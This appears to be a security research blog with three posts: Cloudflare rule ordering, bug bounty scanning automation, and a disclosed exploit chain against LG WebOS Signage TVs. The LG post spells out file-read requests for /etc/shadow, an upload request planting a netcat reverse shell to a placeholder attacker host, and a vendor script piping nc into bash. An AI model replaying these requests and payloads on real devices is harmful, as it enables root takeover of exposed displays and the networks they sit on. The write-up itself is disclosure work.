Cybersecurity and research blog

Why Cloudflare rule order matters?

Wed, 11 Mar 2026 10:00:00 +0000

Before jumping into this article please take a look at the following Cloudflare ruleset and think for a while what is wrong with it?

I set up above rules and thought they would work like the following:

From the first glance it seems perfectly fine. Website administrator wants to challenge users opening the website to prevent bot traffic. Additionally he specifies a rule that blocks access to /metrics endpoint to prevent unauthorized access to Prometheus metrics. I was surprised when I enabled both rules and the this happened:

What is going on here?! The Block rule was never executed and anyone could access my precious /metrics endpoint! Let me explain what is going on. Cloudflare rules language consists of several Actions. Action is a result of a matching rule. As for now, for custom security rules the following actions are allowed:

Interactive Challenge
JS Challenge
Managed Challenge
Block
Skip
Log
Execute
Rewrite
Redirect
Route
Set Configuration
Compress Response
Set Cache Settings
Serve Error
Log custom field

Some actions however are Terminating Actions. Terminating action will stop the evaluation of the remaining rules. This means that any rules, that are ordered AFTER a terminating action, will not be evaluated if the Terminating Action is executed. Cloudflare recognizes the following Terminating Actions:

Interactive Challenge
JS Challenge
Managed Challenge
Block
Redirect
Serve Error
Log custom field

This behavior is especially important when configuring Block rules that have real security impact. If a rule that restricts access to a resource is placed AFTER i.e. JS Challenge action, it can be easily bypassed when a client completes the challenge and gets cf_clearance cookie assigned. With this cookie, Cloudflare automatically clears request of any challenge rules meaning rule evaluation will be terminated.

To sum up, to securely configure Cloudflare custom security rules, they should be grouped by resulting action and placed in the following order:

Skip - Whitelist trusted IPs/services,
Block - Most restrictive rules, cannot be bypassed,
Log - Capture traffic before modifications,
Redirect - URL redirections,
Serve Error - Custom error pages,
Execute - Transformation rules,
Rewrite - Transformation rules,
Route - Transformation rules,
Set Configuration - Configuration rules,
Compress Response - Performance rules,
Set Cache Settings - Caching rules,
Log custom field - Custom logging,
Interactive Challenge - Challenge suspicious traffic,
JS Challenge - Challenge suspicious traffic,
Managed Challenge - Challenge suspicious traffic

Exploitability

And what about exploitability? Unfortunatelly, I was not able to confirm that this issue is exploitable at scale which can mean two things. Either my testing methodology (fuzzing with cf_clearance cookie) was badly adjusted for this research, or this type of misconfigurations are very uncommon, and hard to detect in blackbox scenario.

In other way this seems to be intended behavior even though Cloudflare dashboard is straight lying to you by saying that Block rule will execute after Challenge action:

Above statement is not true, as the rule will never be evaluated after “Force bot detection” rule.

It was also funny to discover this exact issue discussed on serverfault.com forum some years ago. Looks like people had already problems understanding Cloudflare security rules a while ago.

References:

https://developers.cloudflare.com/ruleset-engine/rules-language/actions/ https://serverfault.com/questions/1059124/how-does-cloudflare-firwall-rules-order-work

One year with bug bounty automation

Mon, 16 Feb 2026 10:00:00 +0000

If you’re reading this blog post, it’s likely that you’re also doing bug bounty. Maybe you’re even doing it professionally as a daily job. That’s great, and I envy you, as I could never really get into the idea of becoming a full-time bug bounty hunter. Maybe my past experiences with it, such as hitting the triage wall or long response times, discouraged me from stepping up my bug hunting game.

However, I could not get the idea of having an almost self-sufficient automation that can perform reconnaissance, scan, and report security issues along multiple assets out of my mind. The more important question was whether such an approach would earn its keep or maybe even generate additional income.

Part 1 - Gathering ALL the scope

I must admit that I’m a pretty lazy guy. Don’t get me wrong; I enjoy working in cybersecurity, and I can stare at code for hours to identify bugs. However, after work, I prefer to do other things, such as sport and spending time with friends and family. I don’t think I could spend 10+ hours a day trying to identify issues before other hunters can. So, I thought, “Let’s gather all the assets I can find in my bug bounty programs and start scanning them!” Sounds simple, right? Yeah, I thought so too.

First, I made some assumptions before coding the automation. To minimize the chances of duplicates and reduce the number of assets, I chose to use only private bug bounty programs, as they tend to have more low-hanging fruit–type vulnerabilities that simple automation can find. I also assumed that I would only focus on wildcard scope, meaning that I would only discover and scan the scope presented in *.company.tld. This was necessary to unify the input for the automation, as programs tend to provide assets in a non-unified way. Some provide only certain URLs, while others prefer to use subdomains with wildcards. With the wildcard domain approach, you are also much more likely to avoid OOS (out-of-scope) reports, as it’s usually easy to justify a report for a subdomain in wildcard scope. Keeping this approach in mind, I gathered more than 500 domains from the following platforms:

Yogosha
Yeswehack
Cyberdart
Intigriti
Bugcrowd
Hackerone
Whitehub

The scope was put into two different files that would act as a flat file database for the automation:

File tlds.txt containing one domain in one line for reconnaisance input (at the moment of writing I realized that it should be actually called something like domains.txt but I used the TLD format for long enough to just stick with it),
File programs.txt containing information about programs and associated domains grouped by the platform. The file is structured in the following format:

[...]
[HACKERONE] Private Company|private-company.com,private-company.net
[BUGCROWD] Foo Corp|foo.com,bar.net
[...]

Well that was easy. We’ve now got all the input that is needed and and it can be just feeded it to the scanner.

Part 2 - Infrastructure dillema

Now, the realization kicked in. How should I approach building the automation itself, so it wouldn’t evolve into one of those never ending projects that you spend more time maintaining rather than actually using. I quickly threw the idea of building an automation platform from scratch, as it would require a lot of trial-and-error before it would eventually start working properly. Instead, a low-code security automation platform caught my attention - Trickest.

Trickest platform is a modular approach to automation where you can choose between free and paid plans, and even use your own infrastructure to run security workflows. For some time, they even have a self-hosted version. The idea is really simple - you just install a Trickest agent on a VPS, and you are good to go. And as I am a faithful user of OVH cloud services, I chose to buy some servers from them. It turned out not to be the wisest idea because after running a simple subdomain reconnaissance workflow, my server was blacklisted by OVH due to DoS attack 🤡

Message from OVH Cloud saying that UDP traffic originating from my host is triggering their DDoS defences.

After learning that it is impossible to turn off this “protection”, I wanted to use a VPS from other providers, such as AWS or DigitalOcean; however, their low-cost tier offer was much too pricey for this project to be financially affordable. As I would like to run multithreaded, CPU intensive workflows, I needed a beefy VPS that wouldn’t break the bank. My minimal requirements were:

4 core CPU,
8 GB RAM,
60 GB of fast storage,
1 Gbit/s bandwidth,
1 TB of monthly traffic throughput,
<10 EUR per VPS/month

While searching, I found this VPS price tracker website that allows you to compare prices of niche VPS providers. I initially bought 3 servers from Atomic Networks, as it was a killer value of about ~6 USD per VPS/month. Later, it turned out that with cheap VPS providers, you pay twice, as around December, they probably went bankrupt and were acquired by other providers, as whole Chicago datacenter was offline for a few weeks:

Message from Atomic Networks following Chicago VPS outage for several day (how not to do datacenter migration).

Now I am using Layer7 as a provider and I can’t complain about them - the price is slightly higher but at least the servers are in EU datacenter and there were no downtimes so far. In Trickest free tier, you can hook up to 3 external servers and if you want to use their cloud instances as scanning nodes you need to buy running credits which I choose not to do.

Part 3 - Discovering the targets

Now moving on to the automation details. I previously mentioned that the input for the automation will be tlds.txt file containing domains that are considered wildcard scope for bug bounty programs. I needed to construct an automation that will passively enumerate subdomains and check all alive hosts for the returned results. After some trial and error with already defined Trickest workflows and custom tests, I came up with the following flow that gave reasonably good results:

┌─────────────────────────┐
│                         │
│        Get tlds.txt     │      ┌─────────────┐      ┌─────────────────────┐
│           file          ├─────►│             │      │                     │
│                         │      │  subfinder  ├─────►│ Send notification   │
└─────────────────────────┘      │             │      │ to Telegram channel │
┌─────────────────────────┐      └─────────────┘      └─────────────────────┘
│   provider-config.yaml  │              ▲
│                         ├──────────────┘
└─────────────────────────┘

After workflow has finished, a notification with some statistics is sent to the Telegram channel:

Next the automation will check all alive hosts with httpx. I focused only on identyfing alive web ports (80 and 443) since they are most common and also web vulnerabilities are among the most easy to scan in the wild. The workflow is as follows:

┌─────────────────────────┐
│                         │
│    Get subdomains.txt   │      ┌─────────────┐      ┌─────────────────────┐
│           file          ├─────►│             │      │                     │
│                         │      │    httpx    ├─────►│   targets.txt       │
└─────────────────────────┘      │             │      │                     │
                                 │ • HTTP/HTTPS│      └─────────────────────┘
                                 │ • Follow    │      ┌─────────────────────┐
                                 │   redirects │      │                     │
                                 │ • Tech      ├─────►│   inventory.json    │
                                 │   discovery │      │   (detailed output) │
                                 │             │      │                     │
                                 └─────────────┘      └─────────────────────┘
                                         │
                                         │
                                         ▼
                                 ┌─────────────────────┐
                                 │                     │
                                 │ Send notification   │
                                 │ to Telegram channel │
                                 │ (host count)        │
                                 │                     │
                                 └─────────────────────┘

Above workflows are very simplified as I needed to optimize the flow by adjusting host batch count, thread count for httpx and add timeouts to prevent the scans from running endlessly. Usually batches of few thousand hosts and timeout of several seconds worked best for me and tend to yield most accurate results. I have also tried active subdomain enumeration using DNS brute force but such activities cause flood of UDP traffic which often is flagged by providers. Also it was much slower (couple hours vs. minutes) than passive recon and gave only about ~10% results more subdomains with decent wordlist. With this downsides in mind I decided to stick purely to passive subdomain enumeration.

I previously mentioned that target discovery outputs an inventory.json file. This file is a JSON array of identified hosts with the following structure:

{
  "timestamp": "2026-01-08T09:29:37.931520029Z",
  "hash": {
[...]
  },
  "port": "443",
  "url": "https://target.com:443",
  "input": "target.com",
  "title": "Welcome to my website!",
  "scheme": "https",
  "webserver": "Apache",
  "content_type": "text/html",
  "method": "GET",
  "host": "1.3.3.7",
  "path": "/",
  "time": "70.207238ms",
  "a": [
    "1.3.3.7",
    "1.3.3.8"
  ],
  "tech": [
    "HSTS","Cloudflare","Apache"
  ],
[...]
}

It contains multiple useful fields such as webserver infromation and page title. I find tech field particulary useful as it helps you to search for assets with certain technologies used. This feature shines especially when a certain product is impacted by a 0-day vulnerability like React4Shell. It allows you to quickly idenitfy potenital vulnerable hosts among you asset inventory with a quick grep.

Part 4 - Scanning for vulnerabilities

So I had a working “Target Discovery” workflow that was running 24/7 and was outputting latest list of alive hosts as a candidates to scan. So now let’s just feed them into nuclei, scan and fuzz the targets and report the vulnerabilities. This part was probably the most challenging and the one where I learned that it’s impossible to cover whole attack surface with scanning and fuzzing for every possible vulnerability. With such a large scope 200,000+ hosts and limited resources (3 servers), it’s impossible to run EVERY single vulnerability template for EVERY host. If you schedule such scan you will eventually run out of patience and memory (it’s up to you to choose which would happen first). I decided to analyze this problem scientifically and I came up with different approaches no which vulnerabilities to scan:

Approach 1 “Common Vulnerabilities” - Identify which vulnerabilities are statistically most common to be reported to bug bounty programs and scan only for them (i.e. directory listings, XSS, backup files, common misconfigurations),
Approach 2 “Latest Vulnerabilities” - Scan for recently discovered vulnerabilities and new templates,
Approach 3 “Random Vulnerabilities” - Scan for random vulnerabilities (at least you can only be average with random 😅)

After some optimizations I came up with the following workflow and from time to time I swapped between the approaches:

┌─────────────────────────┐
│                         │
│    Get targets.txt      │      ┌─────────────┐      ┌─────────────────────┐
│           file          ├─────►│             │      │                     │
│                         │      │    Split    ├─────►│      nuclei         │
└─────────────────────────┘      │    into     │      │                     │
                                 │   batches   │      │ • Common vulns      │
                                 │             │      │ • Latest vulns      │
                                 └─────────────┘      │ • Random vulns      │
                                                      │                     │
                                                      └──────────┬──────────┘
                                                                 │
                                                                 │
                                                                 ▼
                                                      ┌─────────────────────┐
                                                      │                     │
                                                      │ Send notification   │
                                                      │ to Telegram channel │
                                                      │ (scan results)      │
                                                      │                     │
                                                      └─────────────────────┘

To change the approaches to scanning I was just simply changing the way which templates were used by nuclei to scan the hosts. For example for “Common Vulnerabilities” I was using templates like directory-listing or springboot-actuator. For this approach I was getting a lot of noise, usually when I reported those issues they were either OOS (out-of-scope) or they were duplicates. I ended up creating an exclude.txt file where I would keep a list of known issues so they would not get reported to the Telegram hook. In the end this approach resulted in pretty nice rewards but resulted in higher ratio of N/A reports and False Positives than other approaches.

For “Latest Vulnerabilities” approach I was running only templates that were recently added to template repository. It was a nice approach and I got paid for several issues found this way. It was also much less noise from these workflows as newest templates are not always a commonly occuring issues.

When it comes to “Random Vulnerabilities” I was surprised by how much true positive issues have been reported by this approach. I got several valid reports just by running random nuclei templates against buch of assets. So a takeway from this is that if you don’t know where to start your monitoring journey, scanning for random issues is always good 😄

I have also set up a dynamic fuzzing automation using wapiti but I have not yet get any meaningful results from this approach (apart from getting rid of DAST FOMO).

Part 5 - Was it worth it?

Now the interesting part, was it actually worth it? Because in the end it all breaks down to a summary of bills and the outcome if the automation was able to earn for itself. Total cost of the infrastructure used in the project was about around 17 USD per month, which rounds up to 205 USD per year when it comes to hosting costs.

On Hackerone, several open redirects, directory listings and XSS’s summed up to total of 550 USD. On Intigriti I was able to only land one report rewarded for 50 USD. On Yogosha, I reported several security misconfigurations which summed up to 830 USD. The best results I’ve had with Bugcrowd where I scored a nice XSS and several other bugs that were rewarded 2350 USD in total. So total result for whole year was 3780 USD. When you substract costs of the hosting the net earnings are 3575 USD. So was it worth it? Business wise, yes! I was able to get a nice side profit by just running a bunch of automation scripts and actively scan for vulnerabilities. However I think that the real reward for this project was actually learning how to do bug bounty automation at scale, how to solve unexpected problems that occured during development and how to optimize the scans to get the best value from the reports. I would encourage anyone interested in bug bounty to try this full-automation approach themselves as it is a great opportunity to learn new skills (and earn some $$$).

In the end I would like also to reflect on the fact why good vulnerability scanning automation is actually a hard thing to do? I think the answer comes from the multitiude of variables you have in the environment. Apart from rate limits, hardware limitations you have also a multitiude of approaches you can take. By far the most challenging parts I have to overcome when developing this project were:

Choosing the right scanning methodology and realizing that you will never be able to scan everything,
Optimizng the workflows so they yield reasonalby good results in finite amount of time,
Reducing the amount of False Positives from vulnerability scans.

LG WebOS ‘Pwnage’ – getting unauthenticated code execution on enterprise Signage TVs

Tue, 09 Apr 2024 03:00:00 +0000

tl;dr

This post is a summary of our security research work that started a year ago. Together with Franek, we’ve targeted LG enterprise TV operating system – WebOS Signage. As a result of our work, we’ve discovered multiple vulnerabilities where only two of them were published by LG. Those vulnerabilities resulted in a chained exploit that allowed remote attacker on the same network to execute code on vulnerable TV as root user (if the default configuration is used).

Backstory

Last year, my colleague Franek and I completed an interesting pentesting assignment where we tested some enterprise conferencing hardware equipment. One of the devices we tested was an LG TV with a ‘Signage’ operating system. This version of the operating system was based on the standard WebOS software found on consumer-grade LG TVs, but with additional features such as remote control via a centralized app, automation, and a web panel for administrative tasks. The assignment ended and though we did not find any severe vulnerabilities in the TV itself, we’ve saw some research potential in it.

We decided to buy one of the models running WebOS Signage operating system and put it on our workbench. However, we discovered that obtaining such hardware is not straightforward. To order the TV, you must make an ‘inquiry’ on the official website, become an LG partner, or purchase the TV from one of the technical partners.

Purchase website of LG Signage TV.

As we were not eager to start up our own company, we’ve decided to obtain the TV from less formal channels…

Successful purchase of LG Signage TV.

First look

We have ended up buying LG SM5JUL3J model, which is a 32-inch screen that is running WebOS Signage version 6.0, allows centralized remote control, usage of external sensors and uses a FHD display. More specs about this model can be found here.

The unit was running a slightly outdated firmware - 03.05.90. We decided that we needed to get the firmware with either equal or newer version, so that we could first look in the device’s file system. We could do this in two ways - extract it from the device itself or obtain the firmware from the public Internet. We chose the second option, and a few quick n’ dirty google dorks later we found a website that allowed us to download the WebOS Signage firmware for at least some versions back - jackpot!

Firmware download page for LG WebOS Signage.

Downloaded firmware is in EPK format which is a proprietary LG Firmware Package file format. Luckily some development by the community was already done to decrypting and unpacking these firmware packages. We have used the epk2extract tool to unpack the firmware and get our hands on the filesystem.

Extraction of the filesystem from EPK file.

Successfully extracted filesystem.

We wanted to confirm that the file system we’d extracted matched the files on our device. To discover any running services, we ran a full Nmap scan of the exposed TCP ports. The result showed that many services were enabled and accessible:

PORT      STATE SERVICE        REASON
443/tcp   open  https          syn-ack
515/tcp   open  printer        syn-ack
1252/tcp  open  bspne-pcc      syn-ack
1268/tcp  open  propel-msgsys  syn-ack
1391/tcp  open  iclpv-sas      syn-ack
1485/tcp  open  lansource      syn-ack
1619/tcp  open  xs-openstorage syn-ack
2046/tcp  open  sdfunc         syn-ack
3000/tcp  open  ppp            syn-ack
3001/tcp  open  nessus         syn-ack
3737/tcp  open  xpanel         syn-ack
8152/tcp  open  unknown        syn-ack
9080/tcp  open  glrpc          syn-ack
9761/tcp  open  unknown        syn-ack
9869/tcp  open  unknown        syn-ack
18181/tcp open  opsec-cvp      syn-ack
36866/tcp open  unknown        syn-ack
49152/tcp open  unknown        syn-ack

On port 443 (in newer versions port 3777), we could see that the main “Content Manager” web application was running.

The purpose of the app was to automate and control all the things that had to do with displaying any content on the screen – displaying canteen menu, advertisements, or information.

On port 3737 we could see another web application - Control Manager. This software is mainly used for administrative tasks and to connect the TV to a centralized system where each device can be controlled from a command center.

As both apps were looking promising, and as a team we were more proficient in finding vulnerabilities in web applications, we have decided to first take a look at them.

One does not simply do a path traversal

After some time spent playing around with the web application functionalities, Franek discovered some odd behavior with one of the endpoints in the Content Manager. More specifically, the /appId API was looking to be vulnerable to path traversal:

Request:

GET /appId/../../../../../../etc/passwd HTTP/1.1
Host: <IP>
Cookie: <COOKIES>
Connection: close

Response:

HTTP/1.1 200 OK
[…]
Content-Type: application/octet-stream
Content-Length: 913
Connection: close

root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
proxy:x:13:13:proxy:/bin:/bin/false
www:x:33:33:www:/pub/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/false
operator:x:37:37:Operator:/var:/bin/false
haldaemon:x:68:68:hald:/:/bin/false
dbus:x:81:81:dbus:/var/run/dbus:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
avahi:x:101:101::/run/avahi-daemon:/bin/false
messagebus:x:102:102::/var/lib/dbus:/bin/false
sshd:x:103:99:Operator:/var:/bin/false
developer:x:504:504:developer:/home/developer:/bin/sh
wam:x:505:505::/media/wam:/bin/false
pulse:x:507:507::/var/run/pulse:/bin/false
db8:x:510:510::/var/db:/bin/false
kadaptor:x:511:511::/usr/bin:/bin/false
ums:x:512:512::/var/lib/ums:/bin/false
systemd-bus-proxy:x:999:997::/:/bin/nologin

This looked like a promising start! We’ve quickly updated the device to the latest firmware version and send the request again eager to confirm the vulnerability. Sadly, the device sent us the following response:

Request on a new version:

GET /appId/../../../../../../etc/passwd HTTP/1.1
Host: <IP>
Cookie: <COOKIES>

Response:

HTTP/1.1 302 Found
[…]
Location: /main
Content-Type: text/plain; charset=utf-8
Content-Length: 27
Connection: close

Found. Redirecting to /main

This was a bummer, but we decided not to give up on the Content Manager app. This decision turned out to be right one, as Franek sometime later found another vulnerability that allowed us to read files from the device. The /thumbnail/file API was not doing any sanitization to the passed reqParam parameter and was simply reading file contents for us:

Request to thumbnail API:

 GET /thumbnail/file?reqParam={"path":"/etc/shadow","time":123123123} HTTP/1.1
Host: <IP>
Cookie: <COOKIES>
Connection: close

Response:

HTTP/1.1 200 OK
[…]
Content-Type: application/octet-stream
Content-Length: 913

root:*:19263:0:99999:7:::
daemon:x:19263:0:99999:7:::
bin:x:19263:0:99999:7:::
sys:x:19263:0:99999:7:::
sync:x:19263:0:99999:7:::
mail:x:19263:0:99999:7:::
proxy:x:19263:0:99999:7:::
www:x:19263:0:99999:7:::
backup:x:19263:0:99999:7:::
operator:x:19263:0:99999:7:::
haldaemon:x:19263:0:99999:7:::
dbus:x:19263:0:99999:7:::
nobody:x:19263:0:99999:7:::
avahi:!:19263:0:99999:7:::
messagebus:!:19263:0:99999:7:::
sshd:x:19263:0:99999:7:::
developer:x:19263:0:99999:7:::
wam:x:19263:0:99999:7:::
pulse:x:19263:0:99999:7:::
db8:x:19263:0:99999:7:::
kadaptor:x:19263:0:99999:7:::
ums:x:19263:0:99999:7:::
systemd-bus-proxy:!:19263:0:99999:7:::

The function responsible for this vulnerability was getThumbFile() in /usr/palm/services/com.webos.service.commercial.webgateway/src/embeddedcms/service/thumbnailService.js file:

const getThumbFile = function (req, res) {
  let reqParam = req.body.reqParam ? req.body.reqParam : req.query.reqParam;
  (0, _WebUtil.requiredParamThrowError)(reqParam, "reqParam is required");
  reqParam = JSON.parse(reqParam);
  (0, _WebUtil.requiredParamThrowError)(reqParam.path, "path is required");
  let stat = fs.statSync(reqParam.path);
  res.writeHead(200, {
    'Content-Type': 'application/octet-stream',
    'Content-Length': stat.size
  });
  let readStream = fs.createReadStream(reqParam.path); // We replaced all the event handlers with a simple call to readStream.pipe()

  readStream.pipe(res);
};

Great! Now we were able to read any file from the device as the gateway service was running with root permissions.

All your files are belong to us

Meanwhile, another endpoint caught my attention. The Control Manager, NodeJS application running on port 3737 was using /upload API to upload image that could be displayed if some malfunction with the centralized control system happens. This functionality was called a “Failover” image upload. Upload functionality was handled by and external multer package. As we can read in the NPM docs:

Multer is a node.js middleware for handling multipart/form-data, which is primarily used for uploading files.

Indeed, request sent to the /upload endpoint is in form of multipart/form-data content type. A sample upload request can be found below:

Sample request to /upload API:

POST /upload HTTP/1.1
Host: <IP>:3737
Cookie: <COOKIES>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQRnOjAuLw7kux0x6
Connection: close

------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name="dir"

/mnt/lg/appstore/signage/.failover/
------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name="newname"

test.png
------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name="failOver"; filename="test.png"
Content-Type: image/png

<IMAGE_DATA>

The implementation of the multer package is done in /usr/palm/services/com.webos.service.outdoorwebcontrol/routes/index.js file. Code that handled parsing upload parameters into destination path on the device is presended below:

var storage = multer.diskStorage(getDiskStorageInfo());
var upload = multer({
    storage: storage,
    fileFilter : function(req, file, cb) {
        if (web.env.supportLedSignage) {
            var ret = true;
            if (file.fieldname == 'update') {
                ret = /\.epk$/.test(file.originalname);
            } else if (file.fieldname == 'upload_mask') {
                ret = /\.txt$/.test(file.originalname);
            } else {
                ret = false;
            }
            cb(null, ret);
        }
        cb(null, true);
    }
});

function getDiskStorageInfo() {
    return {
        destination: function (req, file, cb) {
            var to = '/media/update/';

            if (file.fieldname == 'media') {
                var root = '/media/signage/';
                to = root;
                if (req.body.dir) {
                    to += req.body.dir;
                    to = path.normalize(to);
                    if (to.search(new RegExp('^' + root)) < 0) {
                        to = root;
                    }
                }
            } else if (file.fieldname == 'failOver') {
                to = '';
                if (req.body.dir) {
                    to += req.body.dir;
                    to = path.normalize(to);
                }
            } else if (file.fieldname == "upload_mask") {
                to = '/var/';
            }
            cb(null, to);
        },
        filename: function (req, file, cb) {
            var name = path.basename('' + file.originalname);

            if (req.body.newname) {
                name = path.basename('' + req.body.newname);
            }

            cb(null, name);
        }
    }
}

Destination path is held in the storage variable. This variable is a diskStorage() object, created from getDiskStorageInfo() function that can be found at the bottom part of the code snippet. In this function, we can see a tree of conditionals statements that set to variable (destination path for our uploaded file) depending on which parameters are set in the request. If the failOver field is set in the request, the backend will set the destination path to the value of dir parameter from the request without any sanitization! We quickly tried to upload the file to /tmp directory and read it with the path traversal vulnerability we’ve discovered previously:

Upload to /tmp directory request:

POST /upload HTTP/1.1
Host: IP:3737
Cookie: <COOKIES>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycBcAJGhoAF8Tvoep
Connection: close

------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name="dir"

/tmp/
------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name="newname"

test.txt
------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name="failOver"; filename="test.png"
Content-Type: application/js

pwned
------WebKitFormBoundarycBcAJGhoAF8Tvoep--

Read /tmp/test.txt file request:

GET /thumbnail/file?reqParam={"path":"/tmp/test.txt","time":123123123} HTTP/1.1
Host: 192.168.88.254
Cookie: connect.sid=<COOKIES>

Successful file read:

HTTP/1.1 200 OK
[...]
Content-Type: application/octet-stream
Content-Length: 7
Connection: close

pwned

However, our joy quickly ended as we’ve realized that our newly discovered unrestricted upload is actually restricted to the following directories due to the file system permissions:

/dev
/home/root
/media
/var
/tmp

It’s a long way to the root (if you wanna RCE)

At this point we needed to reflect on what vulnerabilities we’ve discovered and how we can use them to get code execution on the device. We had full file read on the device, and we can write any files in /dev/, /home/root, /media/, /var/ and /tmp directories. After quick look, we’ve excluded the usage of /tmp and /home/root directories as they held no files used by any process. I decided to focus my work on the filesystem dumped from the firmware. After running a search on files that contain “/var” string one file caught my attention. The specific file was /etc/init/wtaservice.conf. It is a startup file for a service that is launched after a device is rebooted. The contents of the wtaservice.conf file can be found below:

description "WTA is a test agent service for ATS5"

start on rest-boot-done

# Comment this line out to suppress logs on the console
#console output

script
    WTA_ENABLED=/var/luna/preferences/wta_enabled
    WTA_USB=`find /tmp/usb/ -maxdepth 3 | grep -m 1 wta_usb.sh || /bin/true`
    if [ -x "$WTA_USB" ]; then
        #install wta from usb
        exec $WTA_USB
    elif [ -e $WTA_ENABLED ]; then
        SERVICE=com.lge.service.wta
        if [ -e /media/developer/$SERVICE/service_ok ]; then
            #wta is already installed, just launch it
            exec /media/developer/$SERVICE/run.sh
        else
            #start remote console for autodiscover service
            exec /bin/bash <<EOT
                SERVER_INTERNAL=hewta.lge.com
                SERVER_EXTERNAL=wta.iptime.org
                PORT=9001
                FIFO=/tmp/wta.fifo
                #you can use $WTA_ENABLED file as a bash script
                #and define/redefine any variables inside it
                #ex: PORT=9000; SERVER_EXTERNAL=123.123.123.123
                source $WTA_ENABLED
                #wait for server is available
                while [ 1 ];do
                    SERVER=\$SERVER_INTERNAL
                    ping \$SERVER -c 1 && break
                    SERVER=\$SERVER_EXTERNAL
                    ping \$SERVER -c 1 && break
                    sleep 60
                done;
                rm \$FIFO; mkfifo \$FIFO
                #connect to server and launch console
                nc \$SERVER \$PORT <\$FIFO 2>&1 | /bin/bash >\$FIFO 2>&1
EOT
        fi
    fi
end script

After initial inspection you can clearly see that something odd is happening in this file. First the script checks WTA_ENABLED or WTA_USB conditions. If the file /var/luna/preferences/wta_enabled exists (yes, we can write files to the /var/ directory!), the script will do VERY strange things. On first condition it will either run the run.sh script, but it won’t as the developer directory was not created on out device, and we couldn’t create any directories – just write or create files. The second condition is even stranger. First it assigns some server and port variables:

SERVER_INTERNAL=hewta.lge.com
SERVER_EXTERNAL=wta.iptime.org
PORT=9001

Then a source command is run on /var/luna/preferences/wta_enabled file:

source $WTA_ENABLED

Then an availability check is done via ping (great stuff):

while [ 1 ];do
                    SERVER=\$SERVER_INTERNAL
                    ping \$SERVER -c 1 && break
                    SERVER=\$SERVER_EXTERNAL
                    ping \$SERVER -c 1 && break
                    sleep 60
                done;

And finally a netcat reverse shell is launched (?):

nc \$SERVER \$PORT <\$FIFO 2>&1 | /bin/bash >\$FIFO 2>&1

This was more then disturbing and we were trying not to say word “backdoor” when reading above code. However this script was perfect to escalate our file write vulnerabilities to achieve remote code execution. In the above script, a source command will execute any code from the wta_enabled file located in the /var/ directory. We’ve quickly send the request to create a file with reverse shell and reboot the TV:

Reverse shell upload request:

POST /upload HTTP/1.1
Host: <IP>:3737
Cookie: connect.sid=<COOKIES>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysfuG9nlqBES9Dnvo
Connection: close

------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name="dir"

/var/luna/preferences/
------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name="newname"

wta_enabled
------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name="failOver"; filename="test.png"
Content-Type: application/octet-stream

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc <ATTACKER_IP> 1337 >/tmp/f

------WebKitFormBoundarysfuG9nlqBES9Dnvo--

Then after rebooting the TV, we could happily see a connection to our netcat listener (and with root privileges!):

Putting it all together

So, we got code execution on the device, but this still can be done only with the administrative rights. This lowered the impact of this bug, but Franek found an interesting authentication bypass if the device is not yet configured. The default administrator password for Content Manager and Control Manager apps is created by appending the string “LGe12#”, to the serial number of the device. Luckily, the following API endpoint:

/system/lge/setting?reqParam={"category":"network","keys":["deviceName"]}

Can be accessed without any authentication. In response the API will return device name in the form of JSON object:

"settings":{"deviceName":"XXXXXXXXXXXX XXXX"}

The device name is by default created with the use of a serial number. From this data we can create a temporary admin password and log in as administrator to previously not configured device. Now we had all the pieces for the exploit chain:

Get device serial number from unauthenticated /setting endpoint,
Generate temporary password and log in to Control Manager app,
Overwrite the wta_enabled file, with reverse shell,
Reboot the device remotely using Websockets,
Listen for the shell.

We’ve quickly put together a dirty PoC python script that automates all the exploitation. You can see a successful exploitation of a freshly reset LG Signage TV in the below video:

As there is still some possible attack surface for the Signage TVs exposed on the web, we’ve decided to not yet publish full PoC script. Below you can see that based on a recent Shodan query there are 443 devices exposed to the public internet:

Final words

We’ve encountered some ups and downs when reporting these vulnerabilities to the LGE Security team. At first, they had some problems decrypting our report with their PGP key, then it took months to replicate and patch the issues. Finally, they required a lot of personal details from us to pay the bounty (i.e. bank account statements). As we did not want to provide such details, we declined the bounty and told LG to donate the bounty amount to charity. Unfortunately, their response was also negative to such request:

When it comes to the weird wtaservice.conf script, it seems that we were not the only ones that figured out that there is something odd with this piece of code. On 23rd of December 2023, user @zibri tweeted that he found a 0-day in LG Smart TVs and the vendor did not want to pay for it.

Two months later, a Github Gist appeared with a detailed description of how to exploit the USB version of the “backdoor” and also with some investigation about the WTA service itself. The Gist mentions that the vulnerability was found by @mariotaku but I could not find any more sources referencing this user and the vulnerability.

We are not claiming that we were the first researchers to discover the suspicious WTA service and exploit it. However, there is a good probability of that, as LGE Security officially assigned us to their advisory.

Security research and vulnerability reporting must be always taken with a grain of salt. Some vendors will do the best to secure their products, and others well… I think I do not need to add anything else if You’ve read the above post ¯\(ツ)/¯

Advisory

You can find the advisory for all the vulnerabilities we’ve reported here under SMR-FEB-2024 section.

CVEs

CVE-2024-1885 (LVE-2023-0118) - Remote Code Execution attack in webOS v6.0.0-56 of Signage
CVE-2024-1886 (LVE-2023-0119) - Absolute path traversal attack in webOS v6.0.0-56 of Signage

Timeline

13/09/2023 – vulnerabilities reported to LGE Security,
30/10/2023 – vulnerabilities confirmed, and two issues resolved by LGE,
21/11/2023 – RCE issue is resolved by the LGE,
8/12/2023 – bounty payment to charity rejected by LGE,
